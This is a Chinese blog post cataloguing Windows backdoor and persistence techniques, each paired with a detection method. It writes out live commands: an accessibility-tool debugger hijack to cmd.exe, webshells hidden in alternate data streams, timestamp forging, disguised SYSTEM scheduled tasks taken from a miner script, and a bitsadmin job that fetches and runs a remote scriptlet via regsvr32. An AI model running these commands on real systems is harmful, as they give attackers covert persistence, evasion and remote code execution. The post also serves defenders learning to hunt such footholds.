windows常见后门隐藏和权限维持方法及排查技术

https://xz.aliyun.com/t/4842

这片文章中隐藏webshell我觉得很nice ... 进程注入以前试过 ... wmi 和 bitsadmin 可以了解下 ...

 

常见backdoor和persistence方式方法

系统工具替换后门

Image 劫持辅助工具管理器
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f


  • 类似的程序有osk.exe、Narrator.exe、Magnify.exe等。
  • 优点:简单
  • 缺点:易被检测
  • 排查:工具autoruns

文件隐藏

attrib命令隐藏(重点!)

  • windows自带命令行工具attrib用来显示或更改文件属性。
  • 优点:简单,一般的工具(D盾)扫描不到
  • 缺点:暂无
  • 排查:使用attrib命令查看

使用ADS流隐藏webshell(重点!!)

  • 使用ADS流隐藏webshell,目前可过D盾扫描,注意ADS的一句话木马无法直接连接,可以使用php的include去包含执行


    文章参考:利用ADS隐藏webshell
    文章参考: Windows ADS在渗透测试中的妙用
  • 此外应该注意修改文件的timestamp,可使用如下的powershell命令或者使用NewFileTime工具
$(Get-Item ).creationtime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastaccesstime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastwritetime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
example:
Set the last-access time for a file aaa.csv to the current time:  $(Get-Item aaa.csv).lastwritetime=$(Get-Date)
Set the creation time of a file foo.txt to November 24, 2015, at 6:00am: $(Get-Item foo.txt).creationtime=$(Get-Date "11/24/2015 06:00 am")
  • 优点:较难检测
  • 缺点:暂无
  • 排查: dir /r

计划任务

  • schtasks和at命令,例如下面的命令
#from https://github.com/diggles9991/MG/blob/master/XMR/Hook.ps1#L12
# Update scheduled Start Task
SCHTASKS /Delete /tn "AdobeReaderUpdate" /f
SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdate" /sc Weekly /d * /st 18:00:00 /tr "powershell.exe C:\Windows\System32\drivers\en-US\etc\Line.ps1"

# Update scheduled End Task
# SCHTASKS /Delete /tn "AdobeReaderUpdateEnd" /f
SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdateEnd" /sc Weekly /d MON,TUE,WED,THU,FRI /st 06:00:00 /tr "powershell.exe Stop-Process -Name $processname"
  • 优点:简单
  • 缺点:易被检测
  • 排查: schtasks /query 命令进行查询或者通过计算机的管理查看,注意在windows的中文版系统中,schtasks命令需要切换字符为美国英语格式,使用命令chcp 437,或者直接工具autoruns。

开机启动项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
等
  • 优点:重启权限维持
  • 缺点:一般杀软均会拦截
  • 排查:一个一个手工查太麻烦,建议直接上autoruns。

服务

sc create [ServerName] binPath= BinaryPathName
  • 优点:重启权限维持
  • 缺点:一般杀软会拦截
  • 排查:工具autoruns

waitfor.exe

  • 不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe
    详细参考
  • 优点:远程主动激活
  • 缺点:有waitfor进程
  • 排查:通过Process Explorer工具查看是否有waitfor.exe进程,并进一步查看启动参数等。

bitsadmin后门

  • Bitsadmin从win7之后操作系统就默认包含,可以用来创建上传或者下载任务。Bistadmin可以指定下载成功之后要进行什么命令。后门就是利用的下载成功之后进行命令执行。
#创建一个下载任务:
bitsadmin /create backdoor
#添加文档:
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
#设置下载成功之后要执行的命令:
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
#执行任务:
bitsadmin /Resume backdoor

WMI后门(重点!)

  • 在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的wmi。更多可以参考
  • 在empire中有相应的module,作者参考使用了Powersploit里面的代码。

  • 后门在系统重启五分钟之内触发且是system权限。
  • 优点:无文件,相对来说难以排查
  • 缺点:暂无
  • 排查:工具autoruns

COM劫持

meterpreter 权限维持

  • meterpreter中的权限维持技术有两种,一种是metsvc的后门(服务后门),另外一种是persistence(注册表后门)
  • metsvc 是开机自启动的服务型后门

    metsvc代码
  • persistence模块是先上传vbs脚本并执行vbs脚本修改注册表HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run从而完成自启动。


    persistence代码
  • 优点:开机自启动
  • 缺点:容易被杀软杀
  • 排查:像是这种后门使用autoruns基本都可以排查出来。

Empire persistence模块(重点!!)

  • Empire是一款功能非常强大的后渗透攻击框架。其中的persistence模块提供了一系列权限维持方法。
  • 工具还把权限维持分为了四大类,userland(普通权限)、elevated(需要高权限)、powerbreach(内存权限维持,重启后失效)、miscellaneous(其它)。
  • 通过info命令查看使用方法

    更多可以参考文章
  • 优点:基本集成了大部分的权限维持方法
  • 缺点:暂无
  • 排查:工具autoruns

进程注入(重点!!)

  • 准确来说进程注入不是后门技术或者权限维持技术,而是一种隐藏技术,这里简单说一下empire的psinject、cobaltstrike的inject和meterpreter中的migrate进程注入,一般可以注入到像是lsass或者explorer这样的进程当中,相对比较隐蔽,较难排查。
  • 使用方法这里就不介绍了,主要说一下如何hunting。这篇文章TALES OF A BLUE TEAMER: DETECTING POWERSHELL EMPIRE SHENANIGANS WITH SYSINTERNALS里面介绍了如何hunting empire方法,empire有一些evasion detection机制,其中的网络连接时间设置能有效避开常见主机流量检测工具(包括netstat、tcpview)的检测,文章中也介绍了使用process monitor是最快也是最有效的方法。
  • 但是在hunting 进程注入的时候,并没有像文章中说的查找到以起始地址为0x0的线程,但会发现被注入的进程属性里会有.NET Assemblies和.NET Performance两个菜单。如下图所示
  • 优点:较难排查
  • 缺点:暂无
  • 排查:工具process explorer 、process monitor

other

  • 除了以上的几种后门和权限维持技术外还有像是dll劫持、一些软件的插件后门、office后门等。
  • 抛砖引玉,更多windows backdoor方面最新文章可以关注国外安全研究员Casey Smith@subTee和Adam@Hexacorn。
  • 附上本人博客地址,欢迎一起交流学习:> https://kevien.github.io/
  • 3
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值